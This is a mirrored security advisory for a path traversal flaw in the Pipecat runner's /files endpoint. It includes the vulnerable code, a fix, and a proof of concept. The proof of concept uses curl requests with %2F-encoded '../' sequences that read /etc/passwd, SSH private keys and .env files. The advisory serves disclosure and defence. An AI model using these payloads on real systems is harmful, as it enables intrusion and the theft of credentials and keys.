GHSA-3363-2PH6-35WH

Vulnerability from github – Published: 2026-05-15 16:55 – Updated: 2026-05-15 16:55
VLAI
Summary
Pipecat: Path Traversal in Pipecat Runner `/files` Endpoint — Arbitrary File Read via `%2F`-Encoded Separator
Details

Summary

A path traversal vulnerability exists in Pipecat's development runner (src/pipecat/runner/run.py). When the runner is started with the --folder flag, it exposes a GET /files/{filename:path} download endpoint. The filename path parameter is concatenated directly onto args.folder with no containment check. Starlette normalises literal ../ sequences in URLs, but %2F-encoded slashes bypass this normalisation: the path parameter is URL-decoded after routing, so ..%2F..%2Fetc%2Fpasswd resolves to a path two levels above args.folder. An attacker with network access to the runner can read any file the pipecat process has permission to access — including SSH private keys, credentials, and system files — with a single unauthenticated HTTP request.

Confirmed on pipecat-ai 1.1.0 (latest PyPI release) and commit f078df78058ae82a02ce5b23e9e3a99a0917a53d.


Details

The vulnerable code is in src/pipecat/runner/run.py, inside the _configure_server_app() function, lines 249–264:

@app.get("/files/{filename:path}")
async def download_file(filename: str):
    """Handle file downloads."""
    if not args.folder:
        logger.warning(f"Attempting to dowload {filename}, but downloads folder not setup.")
        return

    file_path = Path(args.folder) / filename          # ← no containment check
    if not os.path.exists(file_path):
        raise HTTPException(404)

    media_type, _ = mimetypes.guess_type(file_path)

    return FileResponse(path=file_path, media_type=media_type, filename=filename)

Path(args.folder) / filename joins the caller-supplied filename onto the base directory without calling .resolve() or checking is_relative_to. Python's pathlib does not strip .. segments during join — only .resolve() does. Starlette strips literal ../ from the URL path before the route handler runs, but it decodes percent-encoded characters inside the matched path parameter value. Because %2F decodes to / after the router has already matched the route, the value that reaches filename can contain / characters, enabling directory traversal.

For example:

GET /files/..%2F..%2Fetc%2Fpasswd
                   ↓
filename = "../../etc/passwd"          (after Starlette decodes %2F)
file_path = Path("/tmp/media") / "../../etc/passwd"
          = Path("/tmp/media/../../etc/passwd")
          → resolves to /etc/passwd    (os.path.exists returns True)

The endpoint has no authentication — the runner does not implement any auth layer — so the request requires no credentials.


Proof of Concept

Step 1 — Start the Pipecat runner with --folder

The runner requires a bot script with a bot() entry point. A minimal script that keeps the HTTP server alive without any transport logic:

# minimal_bot.py
async def bot(runner_args):
    import asyncio
    await asyncio.sleep(86400)

if __name__ == "__main__":
    from pipecat.runner.run import main
    main()

Start the runner:

pip install "pipecat-ai[runner,webrtc]"

mkdir /tmp/bot_media
echo "session transcript" > /tmp/bot_media/recording.txt

python minimal_bot.py \
    -t webrtc \
    --host 127.0.0.1 \
    --port 7860 \
    --folder /tmp/bot_media

Expected output: image

Step 2 — Exploit

# Legitimate request — serves a file inside --folder
curl "http://127.0.0.1:7860/files/recording.txt"
# → session transcript

# Literal ../ — blocked by Starlette path normalisation
curl "http://127.0.0.1:7860/files/../../etc/passwd"
# → {"detail":"Not Found"}

# %2F-encoded separators — bypass normalisation, read /etc/passwd
curl "http://127.0.0.1:7860/files/..%2F..%2Fetc%2Fpasswd"
# → ## User Database
#   root:*:0:0:System Administrator:/var/root:/bin/sh
#   ...

# Read SSH private key
curl "http://127.0.0.1:7860/files/..%2F..%2F..%2Fhome%2Fuser%2F.ssh%2Fid_rsa"
# → -----BEGIN OPENSSH PRIVATE KEY-----
#   b3BlbnNzaC1rZXktdjEAAAA...

# Read application secrets
curl "http://127.0.0.1:7860/files/..%2F..%2F.env"

Confirmed results (pipecat-ai 1.1.0, tested 2026-04-29)

Request HTTP status Content
GET /files/recording.txt 200 Legitimate file
GET /files/../../etc/passwd 404 Blocked — literal .. normalised away
GET /files/..%2F..%2Fetc%2Fpasswd 200 Full /etc/passwd
GET /files/..%2F..%2F..%2Fhome/…/.ssh/id_rsa 200 RSA private key (BEGIN OPENSSH PRIVATE KEY)
image
image
image

Impact

The --folder flag is a documented, first-class feature of the runner: the runner_downloads_folder() helper and -f / --folder CLI argument are part of the public API. The runner documentation includes LAN-deployment examples (--host 192.168.1.100 for ESP32 integration). In those deployments, any host on the local network can exploit this with zero credentials.

An attacker who can reach the runner port and knows --folder is active can retrieve any file readable by the pipecat process:

  • SSH private keys and TLS certificates
  • .env files and application credentials
  • Database files, session tokens, API keys
  • System files such as /etc/passwd and /etc/shadow (on Linux)
  • Source code, config files, and secrets in parent directories of --folder

Remediation

Call .resolve() on both the base path and the joined path, then assert containment with is_relative_to:

@app.get("/files/{filename:path}")
async def download_file(filename: str):
    if not args.folder:
        logger.warning(f"Attempting to dowload {filename}, but downloads folder not setup.")
        return

    allowed_base = Path(args.folder).resolve()
    file_path = (allowed_base / filename).resolve()   # resolve AFTER join

    if not file_path.is_relative_to(allowed_base):    # containment check
        raise HTTPException(status_code=403, detail="Access denied")
    if not file_path.exists():
        raise HTTPException(status_code=404)

    media_type, _ = mimetypes.guess_type(file_path)
    return FileResponse(path=file_path, media_type=media_type, filename=file_path.name)

Path.resolve() expands all .. components and follows symlinks before is_relative_to compares the paths, so neither %2F-encoded separators nor symlink chains can escape the allowed base.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pipecat-ai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.90"
            },
            {
              "fixed": "1.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44716"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-15T16:55:04Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA path traversal vulnerability exists in Pipecat\u0027s development runner (`src/pipecat/runner/run.py`). When the runner is started with the `--folder` flag, it exposes a `GET /files/{filename:path}` download endpoint. The `filename` path parameter is concatenated directly onto `args.folder` with no containment check. Starlette normalises literal `../` sequences in URLs, but `%2F`-encoded slashes bypass this normalisation: the path parameter is URL-decoded *after* routing, so `..%2F..%2Fetc%2Fpasswd` resolves to a path two levels above `args.folder`. An attacker with network access to the runner can read any file the pipecat process has permission to access \u2014 including SSH private keys, credentials, and system files \u2014 with a single unauthenticated HTTP request.\n\nConfirmed on **pipecat-ai 1.1.0** (latest PyPI release) and commit `f078df78058ae82a02ce5b23e9e3a99a0917a53d`.\n\n---\n\n## Details\n\nThe vulnerable code is in `src/pipecat/runner/run.py`, inside the `_configure_server_app()` function, lines 249\u2013264:\n\n```python\n@app.get(\"/files/{filename:path}\")\nasync def download_file(filename: str):\n    \"\"\"Handle file downloads.\"\"\"\n    if not args.folder:\n        logger.warning(f\"Attempting to dowload {filename}, but downloads folder not setup.\")\n        return\n\n    file_path = Path(args.folder) / filename          # \u2190 no containment check\n    if not os.path.exists(file_path):\n        raise HTTPException(404)\n\n    media_type, _ = mimetypes.guess_type(file_path)\n\n    return FileResponse(path=file_path, media_type=media_type, filename=filename)\n```\n\n`Path(args.folder) / filename` joins the caller-supplied `filename` onto the base directory without calling `.resolve()` or checking `is_relative_to`. Python\u0027s `pathlib` does not strip `..` segments during join \u2014 only `.resolve()` does. Starlette strips literal `../` from the *URL path* before the route handler runs, but it decodes percent-encoded characters *inside* the matched path parameter value. Because `%2F` decodes to `/` after the router has already matched the route, the value that reaches `filename` can contain `/` characters, enabling directory traversal.\n\nFor example:\n\n```\nGET /files/..%2F..%2Fetc%2Fpasswd\n                   \u2193\nfilename = \"../../etc/passwd\"          (after Starlette decodes %2F)\nfile_path = Path(\"/tmp/media\") / \"../../etc/passwd\"\n          = Path(\"/tmp/media/../../etc/passwd\")\n          \u2192 resolves to /etc/passwd    (os.path.exists returns True)\n```\n\nThe endpoint has no authentication \u2014 the runner does not implement any auth layer \u2014 so the request requires no credentials.\n\n---\n\n## Proof of Concept\n\n### Step 1 \u2014 Start the Pipecat runner with `--folder`\n\nThe runner requires a bot script with a `bot()` entry point. A minimal script that keeps the HTTP server alive without any transport logic:\n\n```python\n# minimal_bot.py\nasync def bot(runner_args):\n    import asyncio\n    await asyncio.sleep(86400)\n\nif __name__ == \"__main__\":\n    from pipecat.runner.run import main\n    main()\n```\n\nStart the runner:\n\n```bash\npip install \"pipecat-ai[runner,webrtc]\"\n\nmkdir /tmp/bot_media\necho \"session transcript\" \u003e /tmp/bot_media/recording.txt\n\npython minimal_bot.py \\\n    -t webrtc \\\n    --host 127.0.0.1 \\\n    --port 7860 \\\n    --folder /tmp/bot_media\n```\n\nExpected output:\n\u003cimg width=\"1626\" height=\"462\" alt=\"image\" src=\"https://github.com/user-attachments/assets/912e8ea2-cff9-4a36-a6be-e85091d9f89f\" /\u003e\n\n### Step 2 \u2014 Exploit\n\n```bash\n# Legitimate request \u2014 serves a file inside --folder\ncurl \"http://127.0.0.1:7860/files/recording.txt\"\n# \u2192 session transcript\n\n# Literal ../ \u2014 blocked by Starlette path normalisation\ncurl \"http://127.0.0.1:7860/files/../../etc/passwd\"\n# \u2192 {\"detail\":\"Not Found\"}\n\n# %2F-encoded separators \u2014 bypass normalisation, read /etc/passwd\ncurl \"http://127.0.0.1:7860/files/..%2F..%2Fetc%2Fpasswd\"\n# \u2192 ## User Database\n#   root:*:0:0:System Administrator:/var/root:/bin/sh\n#   ...\n\n# Read SSH private key\ncurl \"http://127.0.0.1:7860/files/..%2F..%2F..%2Fhome%2Fuser%2F.ssh%2Fid_rsa\"\n# \u2192 -----BEGIN OPENSSH PRIVATE KEY-----\n#   b3BlbnNzaC1rZXktdjEAAAA...\n\n# Read application secrets\ncurl \"http://127.0.0.1:7860/files/..%2F..%2F.env\"\n```\n\n### Confirmed results (pipecat-ai 1.1.0, tested 2026-04-29)\n\n| Request | HTTP status | Content |\n|---------|-------------|---------|\n| `GET /files/recording.txt` | 200 | Legitimate file |\n| `GET /files/../../etc/passwd` | 404 | Blocked \u2014 literal `..` normalised away |\n| `GET /files/..%2F..%2Fetc%2Fpasswd` | **200** | Full `/etc/passwd` |\n| `GET /files/..%2F..%2F..%2Fhome/\u2026/.ssh/id_rsa` | **200** | RSA private key (`BEGIN OPENSSH PRIVATE KEY`) |\n\u003cimg width=\"2222\" height=\"516\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4c7a014c-8646-479a-8439-b8e722a69e49\" /\u003e\n\u003cimg width=\"1304\" height=\"314\" alt=\"image\" src=\"https://github.com/user-attachments/assets/14f71b3f-2a35-4d2b-8049-8af758fbc6ba\" /\u003e\n\u003cimg width=\"1188\" height=\"390\" alt=\"image\" src=\"https://github.com/user-attachments/assets/53fe2b33-2cd3-4745-b9f2-7aa426318e00\" /\u003e\n\n---\n\n## Impact\n\nThe `--folder` flag is a documented, first-class feature of the runner: the `runner_downloads_folder()` helper and `-f / --folder` CLI argument are part of the public API. The runner documentation includes LAN-deployment examples (`--host 192.168.1.100` for ESP32 integration). In those deployments, any host on the local network can exploit this with zero credentials.\n\nAn attacker who can reach the runner port and knows `--folder` is active can retrieve any file readable by the pipecat process:\n\n- SSH private keys and TLS certificates\n- `.env` files and application credentials\n- Database files, session tokens, API keys\n- System files such as `/etc/passwd` and `/etc/shadow` (on Linux)\n- Source code, config files, and secrets in parent directories of `--folder`\n\n---\n\n## Remediation\n\nCall `.resolve()` on both the base path and the joined path, then assert containment with `is_relative_to`:\n\n```python\n@app.get(\"/files/{filename:path}\")\nasync def download_file(filename: str):\n    if not args.folder:\n        logger.warning(f\"Attempting to dowload {filename}, but downloads folder not setup.\")\n        return\n\n    allowed_base = Path(args.folder).resolve()\n    file_path = (allowed_base / filename).resolve()   # resolve AFTER join\n\n    if not file_path.is_relative_to(allowed_base):    # containment check\n        raise HTTPException(status_code=403, detail=\"Access denied\")\n    if not file_path.exists():\n        raise HTTPException(status_code=404)\n\n    media_type, _ = mimetypes.guess_type(file_path)\n    return FileResponse(path=file_path, media_type=media_type, filename=file_path.name)\n```\n\n`Path.resolve()` expands all `..` components and follows symlinks before `is_relative_to` compares the paths, so neither `%2F`-encoded separators nor symlink chains can escape the allowed base.",
  "id": "GHSA-3363-2ph6-35wh",
  "modified": "2026-05-15T16:55:04Z",
  "published": "2026-05-15T16:55:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pipecat-ai/pipecat/security/advisories/GHSA-3363-2ph6-35wh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pipecat-ai/pipecat/pull/4417"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pipecat-ai/pipecat/commit/7519c26ac5508573c35fa3a9c4717b013993d129"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pipecat-ai/pipecat"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pipecat-ai/pipecat/releases/tag/v1.2.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pipecat: Path Traversal in Pipecat Runner `/files` Endpoint \u2014 Arbitrary File Read via `%2F`-Encoded Separator"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…